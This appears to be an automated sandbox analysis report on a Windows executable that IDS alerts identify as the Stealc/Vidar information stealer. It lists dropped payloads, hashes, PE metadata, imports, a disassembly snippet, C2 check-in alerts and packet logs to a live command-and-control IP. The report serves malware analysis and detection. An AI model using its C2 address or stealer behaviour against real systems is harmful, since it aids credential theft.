File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\tiktok[1].exe

Download File

Process:	C:\Users\user\Desktop\bUcIhJ4VHm.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	545792
Entropy (8bit):	6.384805269039956
Encrypted:	false
SSDEEP:	6144:yU3iKBTO7hQqRGoFyLmVmH6Q4vwRuGuoBhYkuFqeYAOfp+5ic6/:yU7UVGoFyLmVO6Q6wAGuoBh9Np+M/
MD5:	6C93FC68E2F01C20FB81AF24470B790C
SHA1:	D5927B38A32E30AFCF5A658612A8266476FC4AD8
SHA-256:	64A71B664D76641B35DAC312161CB356B3B3B5F0B45C9D88C8AFA547B4902580
SHA-512:	355E9677121EF17CF8C398F0C17399776D206C62014080A2C62682E1152EA0729DCC6E233358DCD6BAE009B07E3DB936D4B18EB37D6E7EBC2FE9CF8D827C4ADE
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 21%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......c...'i..'i..'i....[.7i....Y..i....X.8i...7..3i...7...i...7...i....9."i..'i..}i...7..%i...7U.&i..'i=.&i...7..&i..Rich'i..................PE..L....v)f..........................................@.......................................@.................................P...(.......@(................... ..l.......p........................... ...@............................................text...1........................... ..`.rdata..............................@..@.data...@ ..........................@....gfids..............................@..@.rsrc...@(.......*..................@..@.reloc..l.... ......................@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\bUcIhJ4VHm.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\JKJEHJKJEB.exe

Download File

Process:	C:\Users\user\Desktop\bUcIhJ4VHm.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	545792
Entropy (8bit):	6.384805269039956
Encrypted:	false
SSDEEP:	6144:yU3iKBTO7hQqRGoFyLmVmH6Q4vwRuGuoBhYkuFqeYAOfp+5ic6/:yU7UVGoFyLmVO6Q6wAGuoBh9Np+M/
MD5:	6C93FC68E2F01C20FB81AF24470B790C
SHA1:	D5927B38A32E30AFCF5A658612A8266476FC4AD8
SHA-256:	64A71B664D76641B35DAC312161CB356B3B3B5F0B45C9D88C8AFA547B4902580
SHA-512:	355E9677121EF17CF8C398F0C17399776D206C62014080A2C62682E1152EA0729DCC6E233358DCD6BAE009B07E3DB936D4B18EB37D6E7EBC2FE9CF8D827C4ADE
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 21%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......c...'i..'i..'i....[.7i....Y..i....X.8i...7..3i...7...i...7...i....9."i..'i..}i...7..%i...7U.&i..'i=.&i...7..&i..Rich'i..................PE..L....v)f..........................................@.......................................@.................................P...(.......@(................... ..l.......p........................... ...@............................................text...1........................... ..`.rdata..............................@..@.data...@ ..........................@....gfids..............................@..@.rsrc...@(.......*..................@..@.reloc..l.... ......................@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\bUcIhJ4VHm.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\bUcIhJ4VHm.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.421582828829304
Encrypted:	false
SSDEEP:	6144:/Svfpi6ceLP/9skLmb0OTMWSPHaJG8nAgeMZMMhA2fX4WABlEnNo0uhiTw:KvloTMW+EZMM6DFyG03w
MD5:	91056CF38D9BA07A85B0AD1E1E2499B7
SHA1:	8A7FAA6A433534A3FFBD19FA80B7DDBA33D573A5
SHA-256:	F145496000807719F87545D17D76C87761214A9DCCAF03A4A8F9B3BF34B7BD0C
SHA-512:	D19F2D1F3F1629F820C13A977E3A3AB81399B28792242639814D980A78F3321E48DAC88B5CEACA14CBD6EF2E8C3140F4C7D9BF4A40AAFC28D95F3F23F3A61463
Malicious:	false
Preview:	regf>...>....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm.x..I................................................................................................................................................................................................................................................................................................................................................%..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	5.7056753469665376
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	bUcIhJ4VHm.exe
File size:	258'560 bytes
MD5:	f9f0b2b6c628789336ab905f82269982
SHA1:	3d98fff19ff36e1bb307e885bc22bf7d2e84e941
SHA256:	c33bc714fc0af2273157acd48be009b787742f2711fd6d5f81fc0c85a54a4e41
SHA512:	b9e64e0b46abd7cfabb9e03a83d31a70b28f4a5388d42702b1c8a1e45e576e6dd115148b0629c7ff625fbe88357a334210437ae61f1b8ec73c2949e87495a4fe
SSDEEP:	3072:4+4W37COtvSDvqsAeDU4emOilhqdv8WRMWh8U5qQYMRCP:48rUqSemydvVSDuE
TLSH:	2144CF117A62F472FAA784704938C6A75B3A7D715AB4C18BF65C1B2F0F716C08F26362
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......#/4.gNZ.gNZ.gNZ.y...vNZ.y....NZ.y...KNZ.@.!.bNZ.gN[..NZ.y...fNZ.y...fNZ.y...fNZ.RichgNZ.........................PE..L....3.c...

File Icon


Icon Hash:	6737676793770667

Static PE Info

General

Entrypoint:	0x40198b
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	TERMINAL_SERVER_AWARE
Time Stamp:	0x638A33CB [Fri Dec 2 17:20:11 2022 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	3ae61081ee7e6f8cf29cd8863eab3a8f

Entrypoint Preview

Instruction
call 00007F1BD8ECFFD2h
jmp 00007F1BD8ECA83Dh
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
mov ecx, dword ptr [esp+04h]
test ecx, 00000003h
je 00007F1BD8ECA9E6h
mov al, byte ptr [ecx]
add ecx, 01h
test al, al
je 00007F1BD8ECAA10h
test ecx, 00000003h
jne 00007F1BD8ECA9B1h
add eax, 00000000h
lea esp, dword ptr [esp+00000000h]
lea esp, dword ptr [esp+00000000h]
mov eax, dword ptr [ecx]
mov edx, 7EFEFEFFh
add edx, eax
xor eax, FFFFFFFFh
xor eax, edx
add ecx, 04h
test eax, 81010100h
je 00007F1BD8ECA9AAh
mov eax, dword ptr [ecx-04h]
test al, al
je 00007F1BD8ECA9F4h
test ah, ah
je 00007F1BD8ECA9E6h
test eax, 00FF0000h
je 00007F1BD8ECA9D5h
test eax, FF000000h
je 00007F1BD8ECA9C4h
jmp 00007F1BD8ECA98Fh
lea eax, dword ptr [ecx-01h]
mov ecx, dword ptr [esp+04h]
sub eax, ecx
ret
lea eax, dword ptr [ecx-02h]
mov ecx, dword ptr [esp+04h]
sub eax, ecx
ret
lea eax, dword ptr [ecx-03h]
mov ecx, dword ptr [esp+04h]
sub eax, ecx
ret
lea eax, dword ptr [ecx-04h]
mov ecx, dword ptr [esp+04h]
sub eax, ecx
ret
mov edi, edi
push ebp
mov ebp, esp
sub esp, 20h
mov eax, dword ptr [ebp+08h]
push esi
push edi
push 00000008h
pop ecx
mov esi, 0040E1FCh
lea edi, dword ptr [ebp-20h]
rep movsd
mov dword ptr [ebp-08h], eax
mov eax, dword ptr [ebp+0Ch]
pop edi
mov dword ptr [ebp-04h], eax
pop esi
test eax, eax

Rich Headers

Programming Language:

[ASM] VS2008 build 21022
[ C ] VS2008 build 21022
[C++] VS2008 build 21022
[IMP] VS2005 build 50727
[RES] VS2008 build 21022
[LNK] VS2008 build 21022

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x35fec	0x3c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x281a000	0x7580	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0xe000	0x180	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0xc283	0xc400	d66440dbdcb2251ec38e258fcff10ea8	False	0.6042928890306123	data	6.550253597622405	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0xe000	0x288a0	0x28a00	3045f9e7c1a931f53701f0ccca51b6cc	False	0.5313521634615385	data	5.3408303277479225	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x37000	0x27e23bc	0x2a00	fccc81d3c2fc5d70947ef8c3b5ca2f73	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x281a000	0x7580	0x7600	17e0c3c3ed02776feb1b905766e94fc9	False	0.5326072563559322	data	5.244181473897246	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
ROXEZEHUHEB	0x281fc00	0x476	ASCII text, with very long lines (1142), with no line terminators	Turkish	Turkey	0.62784588441331
RT_CURSOR	0x28200a0	0x130	Device independent bitmap graphic, 32 x 64 x 1, image size 0			0.4276315789473684
RT_ICON	0x281a480	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	Turkish	Turkey	0.42963752665245203
RT_ICON	0x281b328	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	Turkish	Turkey	0.5672382671480144
RT_ICON	0x281bbd0	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 0	Turkish	Turkey	0.6388248847926268
RT_ICON	0x281c298	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	Turkish	Turkey	0.6777456647398844
RT_ICON	0x281c800	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Turkish	Turkey	0.5148340248962655
RT_ICON	0x281eda8	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 0	Turkish	Turkey	0.5836065573770491
RT_ICON	0x281f730	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Turkish	Turkey	0.6125886524822695
RT_STRING	0x28203c8	0xa2	data			0.5864197530864198
RT_STRING	0x2820470	0x666	data			0.4340659340659341
RT_STRING	0x2820ad8	0x1ce	data			0.474025974025974
RT_STRING	0x2820ca8	0x694	data			0.42636579572446553
RT_STRING	0x2821340	0x16c	data			0.5137362637362637
RT_STRING	0x28214b0	0xcc	data			0.5637254901960784
RT_ACCELERATOR	0x2820078	0x28	data			1.0
RT_GROUP_CURSOR	0x28201d0	0x14	data			1.15
RT_GROUP_ICON	0x281fb98	0x68	data	Turkish	Turkey	0.7115384615384616
RT_VERSION	0x28201e8	0x1e0	data			0.575

Imports

DLL

Import

KERNEL32.dll

EnumCalendarInfoW, GetModuleHandleW, GetProcessHeap, GetDateFormatA, SetCommState, GlobalAlloc, LoadLibraryW, IsBadCodePtr, HeapDestroy, GetModuleFileNameW, SetConsoleTitleA, GlobalUnfix, SetCurrentDirectoryA, GetProcAddress, GetConsoleAliasExesLengthA, BuildCommDCBW, LoadLibraryA, GetFileType, SetConsoleDisplayMode, WaitForMultipleObjects, FreeEnvironmentStringsW, BuildCommDCBA, VirtualProtect, GetCurrentDirectoryA, FindAtomW, FileTimeToLocalFileTime, SetFileAttributesW, GetVolumeInformationW, SetFirmwareEnvironmentVariableW, GetLocaleInfoA, HeapAlloc, GetLastError, HeapReAlloc, GetCommandLineA, GetStartupInfoA, RaiseException, RtlUnwind, TerminateProcess, GetCurrentProcess, UnhandledExceptionFilter, SetUnhandledExceptionFilter, IsDebuggerPresent, HeapFree, DeleteCriticalSection, LeaveCriticalSection, EnterCriticalSection, VirtualFree, VirtualAlloc, HeapCreate, Sleep, ExitProcess, WriteFile, GetStdHandle, GetModuleFileNameA, FreeEnvironmentStringsA, GetEnvironmentStrings, WideCharToMultiByte, GetEnvironmentStringsW, SetHandleCount, TlsGetValue, TlsAlloc, TlsSetValue, TlsFree, InterlockedIncrement, SetLastError, GetCurrentThreadId, InterlockedDecrement, QueryPerformanceCounter, GetTickCount, GetCurrentProcessId, GetSystemTimeAsFileTime, InitializeCriticalSectionAndSpinCount, GetCPInfo, GetACP, GetOEMCP, IsValidCodePage, MultiByteToWideChar, HeapSize, GetConsoleCP, GetConsoleMode, FlushFileBuffers, LCMapStringA, LCMapStringW, GetStringTypeA, GetStringTypeW, ReadFile, SetFilePointer, CloseHandle, WriteConsoleA, GetConsoleOutputCP, WriteConsoleW, SetStdHandle, CreateFileA

ADVAPI32.dll

ReadEventLogW

Possible Origin

Language of compilation system	Country where language is spoken	Map
Turkish	Turkey

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
04/25/24-21:47:52.888960	TCP	2044246	ET TROJAN Win32/Stealc Requesting plugins Config from C2	49704	80	192.168.2.5	185.172.128.76
04/25/24-21:47:52.567945	TCP	2044244	ET TROJAN Win32/Stealc Requesting browsers Config from C2	49704	80	192.168.2.5	185.172.128.76
04/25/24-21:47:53.207078	TCP	2051831	ET TROJAN Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1	80	49704	185.172.128.76	192.168.2.5
04/25/24-21:47:52.038515	TCP	2044243	ET TROJAN [SEKOIA.IO] Win32/Stealc C2 Check-in	49704	80	192.168.2.5	185.172.128.76
04/25/24-21:47:52.887465	TCP	2051828	ET TROJAN Win32/Stealc Active C2 Responding with browsers Config M1	80	49704	185.172.128.76	192.168.2.5

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 25, 2024 21:47:51.830312014 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:52.038146019 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:52.038297892 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:52.038515091 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:52.246356964 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:52.565988064 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:52.566045046 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:52.567945004 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:52.775934935 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:52.887465000 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:52.887479067 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:52.887693882 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:52.888959885 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:53.097440958 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:53.207077980 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:53.207093000 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:53.207139969 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:53.207145929 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:53.207154989 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:53.207186937 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:53.207186937 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:53.207199097 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:53.207227945 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:53.207278013 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:53.231643915 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:53.231693029 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:53.440694094 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:53.440769911 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:53.440782070 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:53.440793037 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:53.440931082 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:53.440946102 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:53.441091061 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:53.567996979 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:53.568059921 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:54.010370016 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:54.218314886 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:54.323947906 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:54.323962927 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:54.324012041 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:54.324031115 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:54.324074030 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:54.324078083 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:54.324115992 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:54.324130058 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:54.324142933 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:54.324155092 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:54.324167967 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:54.324183941 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:54.324201107 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:54.324217081 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:54.324255943 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:54.324278116 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:54.324325085 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:54.324347973 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:54.324390888 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:54.533304930 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:54.533324003 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:54.533334970 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:54.533341885 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:54.533397913 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:54.533416033 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:54.533432007 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:54.533435106 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:54.533461094 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:54.533474922 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:54.533478975 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:54.533509970 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:54.533513069 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:54.533544064 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:54.533549070 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:54.533581972 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:54.533582926 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:54.533638000 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:54.533724070 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:54.533735991 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:54.533771038 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:54.533801079 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:54.533828020 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:54.533847094 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:54.533865929 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:54.533873081 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:54.533900976 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:54.533907890 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:54.533926964 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:54.533945084 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:54.533970118 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:54.533982038 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:54.534022093 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:54.534037113 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:54.534080029 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:54.534080982 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:54.534126043 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:54.743477106 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:54.743556023 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:54.743594885 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:54.743635893 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:54.743786097 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:54.743801117 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:54.743835926 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:54.743853092 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:54.743947029 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:54.743963003 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:54.743994951 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:54.744013071 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:54.744092941 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:54.744112968 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:54.744122982 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:54.744155884 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:54.744179964 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:54.744268894 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:54.744282007 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:54.744292021 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:54.744303942 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:54.744317055 CEST	49704	80	192.168.2.5	185.172.128.76
